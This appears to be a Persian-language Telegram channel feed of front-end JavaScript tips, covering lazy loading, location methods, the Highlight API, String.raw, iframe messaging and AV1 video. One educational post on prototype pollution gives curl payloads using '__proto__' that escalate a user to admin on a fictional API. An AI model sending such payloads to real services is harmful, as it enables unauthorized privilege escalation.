جاوااسکریپت | JavaScript
506 subscribers
654 photos
139 videos
3 files
512 links
کانال @IR_javascript حاوی اطلاعات مفید در حوزه برنامه نویس فرانت که بصورت روزانه بروز می‌شود.
در این کانال شما به:
[1] مطالب تازه
[2] تحلیل‌های عمیق
[3] نکات آموزشی
[4] چالش
[5] ابزار و راهنمایی‌های کاربردی
دسترسی خواهید داشت.

🆔@IR_javascript
Download Telegram
Dragscroll

اسکرول محتوا با موس اغلب محدود به استفاده از نوارهای اسکرول استاندارد است. کتابخانه dragscroll رفتار اسکرول با کشیدن (drag) را به رابط‌های دسکتاپ اضافه می‌کند، رفتاری که کاربران در دستگاه‌های لمسی به آن عادت دارند.

این ابزار برای گالری‌ها، نقشه‌ها یا هر کانتینری با اسکرول افقی بسیار مفید خواهد بود.

🔗http://asvd.github.io/dragscroll/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
آیا می‌دانستید که واژه‌ی روزمره‌ی «جاوااسکریپت» در واقع به‌عنوان یک علامت تجاری در مالکیت شرکت Oracle است؟

این یعنی استفاده از واژه‌ی «جاوااسکریپت» برای توصیف کارتان، محصولتان یا حتی یک کنفرانس می‌تواند ریسک حقوقی به همراه داشته باشد. به همین دلیل گاهی اصطلاح ثقیل «ECMAScript» را می‌بینیم؛ چون یک شرکت انحصار حقوقی بر زبانی را ادعا می‌کند که میلیاردها نفر هر روز به آن متکی هستند.

اوراکل این علامت تجاری را از شرکت Sun Microsystems به ارث برد؛ یادگاری از یک تلاش شکست‌خورده برای هم‌برندسازی با «جاوا». اما اکنون، پس از گذشت بیست‌وپنج سال، «جاوااسکریپت» دیگر یک برند نیست، بلکه نام عمومی محبوب‌ترین زبان برنامه‌نویسی جهان است که در سراسر وب استفاده می‌شود. اوراکل نه آن را ساخته، نه نگهداری می‌کند و نه حتی از آن استفاده دارد، اما همچنان نامش را تصاحب کرده، گویی محصول خود اوست.
🔗https://javascript.tm/
👥@IR_javascript_group
🆔@IR_javascript
1
آلودگی پروتوتایپ (Prototype Pollution)

تعریف:
آلودگی پروتوتایپ یک حمله تزریقی است که محیط‌های اجرای JavaScript را هدف می‌گیرد. در این نوع حمله، مهاجم می‌تواند مقادیر پیش‌فرض ویژگی‌های یک شیء را کنترل کند. این امکان به مهاجم اجازه می‌دهد منطق برنامه را دستکاری کند و در موارد شدید منجر به انکار سرویس (DoS) یا حتی اجرای کد از راه دور شود.

فرض کنید یک شرکت به نام startup.io API خود را برای مدیریت داده‌های کاربران ارائه کرده است. به دلیل محدودیت زمان و فشار سهامداران، تیم توسعه امنیت API را جدی نگرفته است و بسیاری از مشکلات گزارش شده توسط اسکنرهای امنیتی نادیده گرفته شده‌اند. یکی از آسیب‌پذیری‌های موجود، آلودگی پروتوتایپ است.

دو نقطه انتهایی API که اهمیت دارند:

POST https://api.startup.io/users/:userId برای به‌روزرسانی داده‌های کاربر

GET https://api.startup.io/users/:userId/role برای دریافت نقش امنیتی کاربر (admin یا user)

نمونه حمله: ارتقای دسترسی با آلودگی پروتوتایپ

ابتدا سعی می‌کنیم نقش خود را به admin تغییر دهیم:
curl -H "Content-Type: application/json" -X POST -d '{"role": "admin"}' https://api.startup.io/users/1337 && curl -X GET https://api.startup.io/users/1337/role


نتیجه:

{ "role": "user" }


روش ساده کار نکرد، نقش همچنان user باقی ماند.

با استفاده از آلودگی پروتوتایپ و پیشوند جادویی proto می‌توانیم به موفقیت برسیم:
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"role": "admin"}}}' https://api.startup.io/users/1337 && curl -X GET https://api.startup.io/users/1337/role


نتیجه:

{ "role": "admin" }


BOOM! موفق شدیم با ارسال payload جادویی، نقش خود را به admin تغییر دهیم.

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
# بارگذاری تنبل تصاویر پس‌زمینه با API IntersectionObserver


وقتی تصاویر خارج از صفحه (offscreen) را با ویژگی HTML loading بارگذاری تنبل (lazy) می‌کنیم، کار ساده‌ای است. اما برای تصاویر پس‌زمینه که با CSS اضافه شده‌اند، کمی پیچیده‌تر است. در این حالت باید با JavaScript تشخیص دهیم که چه زمانی این تصاویر به دید کاربر نزدیک می‌شوند تا بارگذاری آن‌ها آغاز شود.


---

‏## API IntersectionObserver چیست؟

IntersectionObserver یک API بومی وب است که در مرورگرهای مدرن پشتیبانی می‌شود. این API به شما امکان می‌دهد تا به صورت غیرهمزمان (asynchronously) بررسی کنید که آیا یک عنصر HTML با یکی از والدینش، مانند viewport، در حال تقاطع (intersect) است یا خیر.

به همین دلیل، IntersectionObserver برای تشخیص ورود عناصر خارج از صفحه به محدوده دید کاربر و بارگذاری تنبل پس‌زمینه‌ها بسیار مناسب است.

---

## مزایای استفاده از IntersectionObserver برای عملکرد وب

* این API به صورت غیرهمزمان خارج از thread اصلی اجرا می‌شود و بنابراین بار پردازشی کمتری نسبت به event listenerهای سنتی scroll دارد.
* قبل از آن، توسعه‌دهندگان برای lazy load مجبور بودند event listenerهای scroll، resize و غیره را به صورت دستی اضافه کنند که باعث افزایش بار پردازشی و کندی مرورگر می‌شد.
* IntersectionObserver از thread ترکیب (compositor thread) مرورگر استفاده می‌کند و تغییرات تقاطع نزدیک به هم را در یک callback گروه‌بندی می‌کند، بنابراین از محاسبات تکراری DOM جلوگیری می‌شود.

نتیجه: مصرف CPU کمتر، اسکرول روان‌تر و تجربه کاربری بهتر.

---

## مراحل پیاده‌سازی بارگذاری تنبل پس‌زمینه

### ۱. علامت‌گذاری عناصر خارج از صفحه با کلاس deferred

<div class="bg-1"><p>CTA Area 01</p></div>
<div class="bg-2"><p>CTA Area 02</p></div>
<div class="bg-3"><p>CTA Area 03</p></div>
<div class="bg-4 deferred"><p>CTA Area 04</p></div>
<div class="bg-5 deferred"><p>CTA Area 05</p></div>
<!-- و به همین ترتیب -->


* عناصر با کلاس deferred از تصویر پس‌زمینه خالی استفاده می‌کنند و هنگام نزدیک شدن به viewport، تصاویر بارگذاری می‌شوند.
* تصاویر اولیه (مثلاً دو تصویر اول) با <link rel="preload"> از قبل بارگذاری می‌شوند تا LCP سریع‌تر شود.

---

### ۲. جایگزینی تصویر پس‌زمینه با رنگ پیش‌فرض در CSS

.bg-1 {
background: #d6d6d6 url("images/flowers-01.jpg") no-repeat;
}
.deferred {
background-image: none;
}


* رنگ خاکستری به عنوان placeholder استفاده می‌شود.
* با حذف کلاس deferred توسط JavaScript، تصاویر پس‌زمینه واقعی بارگذاری و نمایش داده می‌شوند.
* ویژگی aspect-ratio برای حفظ اندازه مشابه تصاویر استفاده می‌شود.

---

### ۳. مشاهده تقاطع عناصر با viewport در JavaScript

document.addEventListener("DOMContentLoaded", () => {
const deferredElements = document.querySelectorAll(".deferred");

const elementObserver = new IntersectionObserver(
(entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
entry.target.classList.remove("deferred");
observer.unobserve(entry.target);
}
});
},
{
root: null,
rootMargin: "200px 0px",
threshold: 0,
}
);

deferredElements.forEach(el => elementObserver.observe(el));
});


* root: null → viewport به عنوان ریشه
* rootMargin: "200px 0px" → شروع بارگذاری ۲۰۰px قبل از رسیدن عنصر به viewport
* threshold: 0 → شروع بارگذاری به محض ورود جزئی عنصر

---

### ۴. پشتیبانی از کاربران بدون JavaScript

<noscript>
<style>
.bg-4 { background-image: url(images/flowers-04.jpg); }
.bg-5 { background-image: url(images/flowers-05.jpg); }
.bg-6 { background-image: url(images/flowers-06.jpg); }
</style>
</noscript>


* برای کاربرانی که JavaScript غیرفعال دارند، تصاویر پس‌زمینه بارگذاری و نمایش داده می‌شوند.
* توجه: در این حالت، بارگذاری تنبل فعال نمی‌شود و تصاویر در ابتدا دانلود می‌شوند.

---

## جمع‌بندی
*‏ IntersectionObserver یک روش مدرن و بهینه برای lazy load تصاویر پس‌زمینه است.
* کاهش حجم اولیه صفحه، افزایش سرعت بارگذاری و بهبود Core Web Vitals از مزایای آن است.
* این روش با استفاده از thread ترکیب مرورگر و اجرای غیرهمزمان، از بلاک شدن thread اصلی جلوگیری می‌کند و تجربه کاربری روان‌تری ایجاد می‌کند.



#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
راه‌های متعددی برای ریفرش یا بارگذاری مجدد صفحه وجود دارد و هر کدام می‌توانند در موقعیت‌های مختلف مفید باشند. برای مثال، اخیراً با یک منبع اینترنتی برخورد کردم که لیستی کامل از روش‌های مختلف ریفرش صفحه با JavaScript ارائه کرده است: phpied.com
👀

به جای اینکه در صدها روش غرق شویم، بهتر است روی سه روش اصلی و پرکاربرد تمرکز کنیم که بیشترین کنترل را روی ناوبری و به‌روزرسانی صفحه ارائه می‌دهند:

# ریفرش صفحه در JavaScript

### ۱. location.assign(url) — رفتن به URL جدید

متد assign() برای ناوبری به یک URL جدید استفاده می‌شود و صفحه جاری را در تاریخچه مرورگر نگه می‌دارد. یعنی بعد از رفتن به URL جدید، کاربر می‌تواند با دکمه «بازگشت» به صفحه قبلی برگردد.

location.assign('https://example.com');


---

### ۲. location.replace(url) — رفتن بدون ذخیره در تاریخچه

متد replace() شبیه assign() است، اما صفحه فعلی را در تاریخچه مرورگر ذخیره نمی‌کند. بنابراین بعد از رفتن به URL جدید، با دکمه «بازگشت» نمی‌توان به صفحه قبلی بازگشت.

location.replace('https://example.com');


---

### ۳. location.reload() — بارگذاری مجدد صفحه جاری

متد reload() برای ریفرش یا بارگذاری مجدد صفحه جاری استفاده می‌شود.

* بدون پارامتر: صفحه با توجه به کش مرورگر بارگذاری می‌شود
* با پارامتر true: کش نادیده گرفته شده و صفحه دوباره از سرور بارگذاری می‌شود

location.reload();      // بارگذاری مجدد با کش
location.reload(true); // بارگذاری مجدد بدون کش




#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
1👍1
# استفاده از Custom Highlight API در مرورگرها

اخیراً متوجه شدم که Firefox 140 (ژوئن ۲۰۲۵) از Custom Highlight API پشتیبانی می‌کند، و حالا این ویژگی روی تمام مرورگرهای اصلی در دسترس است. با این API می‌توان به متن‌هایی که در JavaScript با کلاس Range() به دست می‌آوریم، استایل دلخواه اعمال کرد.

برای درک ساده، مراحل اصلی به این صورت است:

1. یک textNode انتخاب کنید.


   const textNode = document.querySelector("p").firstChild;

2. یک Range بسازید و محدوده‌ی شروع و پایان آن را مشخص کنید:


   const range = new Range();
range.setStart(textNode, startIndex);
range.setEnd(textNode, endIndex);

3. با `CSS.highlights.set()`، این Range را به یک نام هایلایت متصل کنید:


   const highlight = new Highlight(range);
CSS.highlights.set("our-highlight", highlight);

4. در CSS با ::highlight(name) آن را استایل دهید:


   ::highlight(our-highlight) {
background-color: yellow;
}


---

## مثال عملی: هایلایت یک کلمه

const WORD_TO_HIGHLIGHT = "wisdom";
const NAME_OF_HIGHLIGHT = "our-highlight";

const textNode = document.querySelector("p").firstChild;
const textContent = textNode.textContent;

const startIndex = textContent.indexOf(WORD_TO_HIGHLIGHT);
const endIndex = startIndex + WORD_TO_HIGHLIGHT.length;

const range = new Range();
range.setStart(textNode, startIndex);
range.setEnd(textNode, endIndex);

const highlight = new Highlight(range);
CSS.highlights.set(NAME_OF_HIGHLIGHT, highlight);


در DevTools می‌توان دید که کلمه "wisdom" با CSS استایل داده شده، بدون اینکه هیچ المنتی در اطراف آن اضافه شود.

---

## چرا مفید است؟

* استایل بدون دستکاری DOM: نیازی به اضافه کردن <span> یا عناصر دیگر نیست، که باعث کاهش وزن DOM و بهبود عملکرد می‌شود.
* کاهش هزینه‌های محاسباتی: اضافه کردن و حذف <span> می‌تواند باعث Reflow و Repaint شود و عملکرد UX را کند کند.
* قابلیت هایلایت چند محدوده‌ای: یک Highlight می‌تواند چند Range را پوشش دهد، که برای مثال می‌توان برای ایجاد یک سیستم جستجو روی متن کاربرد دارد.


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
This media is not supported in your browser
VIEW IN TELEGRAM
🌸میلاد رسول مهربانی‌ها پیامبر اعظم (ص)💚
و امام جعفر صادق (ع)💚
این نصیحت را استاد در کتاب آزادی معنوی (ص۲۰۵) از قول امام صادق علیه السلام نقل می‌کنند که البته این استناد در این کلیپ نیامده است.

🔗https://t.me/motahari_ir/4489
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
7👎2
آیا شما هم هنوز برای استفاده از بک‌اسلش در رشته‌های قالب‌بندی‌شده، آن را دو بار تکرار می‌کنید؟ 🔍

چند روز پیش دیدم که شخصی در رشته‌های قالب‌بندی‌شده (template strings) برای کاراکترهای اِسکیپ‌شده مثل \n (خط جدید) یا \t (تب)، بک‌اسلش‌ها (\\) را تکرار می‌کرد. اما راه‌حل بسیار ساده‌تری وجود دارد و آن استفاده از `String.raw` است. 😁

-----

### `String.raw` چیست؟

این متد به شما اجازه می‌دهد تا با رشته‌های قالب‌بندی‌شده به گونه‌ای کار کنید که دنباله‌های اِسکیپ (مانند \n`، `\t`، `\\ و دیگر موارد) به‌صورت «خام» باقی بمانند. یعنی اگر نیاز به نوشتن یک رشته با مسیر فایل یا کاراکترهای خط جدید و تب دارید، `String.raw` بدون نیاز به اِسکیپ‌کردن‌های اضافی، تمام کار را برای شما انجام می‌دهد. 👍

مثال:

const path = `C:\Users\Name\Documents\file.txt`;
console.log(path); // C:UsersNameDocuments ile.txt

const path = String.raw`C:\Users\Name\Documents\file.txt`;
console.log(path); // C:\Users\Name\Documents\file.txt


به جای اینکه هر بک‌اسلش یا کاراکتر خط جدید را دو بار اِسکیپ کنید، همان‌طور که در یک رشته معمولی لازم بود:


const path = `C:\\Users\\Name\\Documents\\file.txt`;
console.log(path); // C:\Users\Name\Documents\file.txt


-----

### مزایای `String.raw`

➡️ با استفاده از `String.raw`**، کد شما تمیزتر و خواناتر می‌شود، زیرا نیازی به اِسکیپ‌کردن دوباره کاراکترهایی مانند `\`، `n` یا `t` ندارید.

**این قابلیت در کجا مفید است؟


* مسیرهای فایل: اگر با مسیرهای ویندوز کار می‌کنید که شامل بک‌اسلش‌های زیادی است، `String.raw` شما را از نوشتن \\ بی‌نیاز می‌کند.
* عبارات باقاعده (Regular Expressions): اگر در الگوهای خود بک‌اسلش یا کاراکترهای خاص زیادی دارید، `String.raw` به جلوگیری از تفسیر این کاراکترها کمک کرده و آن‌ها را به شکل اصلی‌شان حفظ می‌کند.
* رشته‌های چندخطی: زمانی که لازم است کاراکترهای خط جدید یا تب را به‌صورت متن ذخیره کنید، نه اینکه واقعاً خط را بشکنید یا تب ایجاد کنید.

در نهایت، این یک روش سریع و ساده برای اجتناب از مراحل اضافی در کار با رشته‌های قالب‌بندی‌شده و حفظ دقت در خروجی است. 👍

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
🤔 چطور بین iframe و صفحه اصلی ارتباط برقرار کنیم؟

ارتباط بین iframe و صفحه والد می‌تواند از طریق روش‌های زیر انجام شود:

* متد `postMessage` (بهترین روش)
* دسترسی به window.frames یا window.parent (اگر در همان دامنه باشند)
* انتقال داده‌ها از طریق localStorage یا cookies

---

🟠 `postMessage` – روشی امن برای دامنه‌های مختلف
متد window.postMessage() امکان ارسال پیام بین پنجره‌های مختلف (iframe، popup، تب‌های دیگر) را حتی در صورت قرار داشتن در دامنه‌های مختلف فراهم می‌کند.

---

🚩 ارسال داده از `iframe` به صفحه والد

*کد در iframe (child.html):*

// ارسال پیام به پنجره والد
window.parent.postMessage({ type: "hello", data: "سلام والد!" }, "*");


*کد در صفحه والد (index.html):*

window.addEventListener("message", (event) => {
console.log("پیام دریافت شده از iframe:", event.data);
});


> علامت * در postMessage به این معناست که پیام به هر دامنه‌ای ارسال می‌شود. بهتر است دامنه مشخصی را تعیین کنید، مثلاً:

window.parent.postMessage({ type: "hello" }, "https://example.com");


---

🚩 ارسال داده از والد به `iframe`

*کد در صفحه والد (index.html):*

const iframe = document.getElementById("myIframe");

// منتظر می‌مانیم iframe بارگذاری شود
iframe.onload = () => {
iframe.contentWindow.postMessage({ type: "greeting", data: "سلام iframe!" }, "*");
};


*کد در iframe (child.html):*

window.addEventListener("message", (event) => {
console.log("پیام دریافت شده از والد:", event.data);
});


---

🚩 دسترسی به `window.frames` و `window.parent` *(فقط اگر در همان دامنه باشند)*

اگر iframe و صفحه اصلی در یک دامنه قرار داشته باشند، می‌توان مستقیماً به آبجکت‌های window دسترسی داشت.

صفحه والد → iframe:

const iframe = document.getElementById("myIframe");

// دسترسی به window داخل iframe
iframe.contentWindow.document.body.style.backgroundColor = "lightblue";


iframe → صفحه والد:

console.log(window.parent.document.title); // دسترسی به عنوان صفحه


---

🚩 استفاده از `localStorage` یا `cookies` *(اگر هر دو پنجره در یک دامنه باشند)*

می‌توان داده‌ها را در localStorage یا cookies ذخیره کرد و طرف دیگر آن‌ها را خواند.

نوشتن در localStorage از iframe:

localStorage.setItem("message", "سلام از iframe!");


خواندن localStorage در صفحه والد:

console.log(localStorage.getItem("message")); // "سلام از iframe!"




#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
آشنایی با <meta name="viewport"> 🤓

تگ <meta name="viewport"> یک مِتا تگ است که به مرورگرهای موبایل می‌گوید چگونه ابعاد پنجرهٔ دید مجازی (viewport) را تنظیم کنند و صفحه را چگونه مقیاس‌بندی کنند.

بدون این تگ، مرورگرها در تلفن‌های همراه معمولاً صفحه را «مثل نسخه دسکتاپ» (با عرض حدود نهصد و هشتاد پیکسل) رندر می‌کنند و در نتیجه همه چیز بسیار کوچک و فشرده به نظر می‌رسد.

📚 سینتکس پایه‌ای:

<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>


این حالت در اکثر موارد استفاده می‌شود:

* عرض viewport برابر با عرض واقعی صفحه نمایش دستگاه است.
* مقیاس اولیه برابر با صد درصد است.

مقدارهای content را می‌توانید در تصویر بالا مشاهده کنید 😁

👀 تگ <meta name="viewport"> به تنهایی سایت را واکنش‌گرا نمی‌کند**؛ فقط یک «بوم» برای رندر فراهم می‌کند.

**چند نکته کاربردی:


1️⃣ تگ را در `<head>` و تا حد امکان زود قرار دهید.
مرورگر باید قبل از رندر کردن صفحه آن را ببیند.

2️⃣ از `width=device-width, initial-scale=1.0` به‌عنوان پیش‌فرض استفاده کنید.

3️⃣ چند تگ viewport وارد نکنید.
مرورگرها معمولاً تنها یکی را اعمال می‌کنند یا رفتار صفحه غیرقابل پیش‌بینی می‌شود.

و فراموش نکنید که طراحی و مقیاس‌بندی را روی دستگاه‌های واقعی و شبیه‌سازها بررسی کنید 🥰


#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
🔥1
🚀 AV1؛ آینده‌ی ویدیو روی وب
این نمودار عملکرد چند کُدِک ویدیویی مختلف رو از نظر کیفیت تصویر (VMAF Rating) در برابر نرخ داده (Data Rate) نشون می‌ده.
محور افقی (Data Rate) → نشون‌دهنده‌ی بیت‌ریت یا حجم داده است
محور عمودی (VMAF Rating) → شاخص کیفیت تصویریه که توسط نتفلیکس توسعه داده شده

این نمودار خیلی واضح نشون می‌ده که AV1 کارآمدترین کُدِک فعلیه،

🔹 فرمت جدید AV1 توسط کروم، سافاری و فایرفاکس پشتیبانی می‌شه و می‌تونه حجم فایل‌های ویدیویی رو تا پنجاه درصد کمتر کنه، بدون افت کیفیت.

⚡️ چرا مهمه؟

* بارگذاری سریع‌تر و مصرف کمتر CPU و باتری
* جایگزین عالی برای GIFها (بیست تا چهل برابر سبک‌تر)
* مناسب برای پروژه‌های وب مدرن

🛠 ابزار کار: با چند دستور ساده‌ی FFmpeg می‌شه ویدیوها رو به AV1 تبدیل کرد. برای سازگاری بیشتر، پیشنهاد می‌شه سه نسخه داشته باشید:

1. AV1 برای مرورگرهای مدرن
2. H.264 برای دستگاه‌های قدیمی
3. (اختیاری) HEVC برای برخی آیفون‌ها و مک‌ها

🎯 اگر دنبال کیفیت بالا با حجم کم هستید، وقتشه به AV1 مهاجرت کنید.

#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1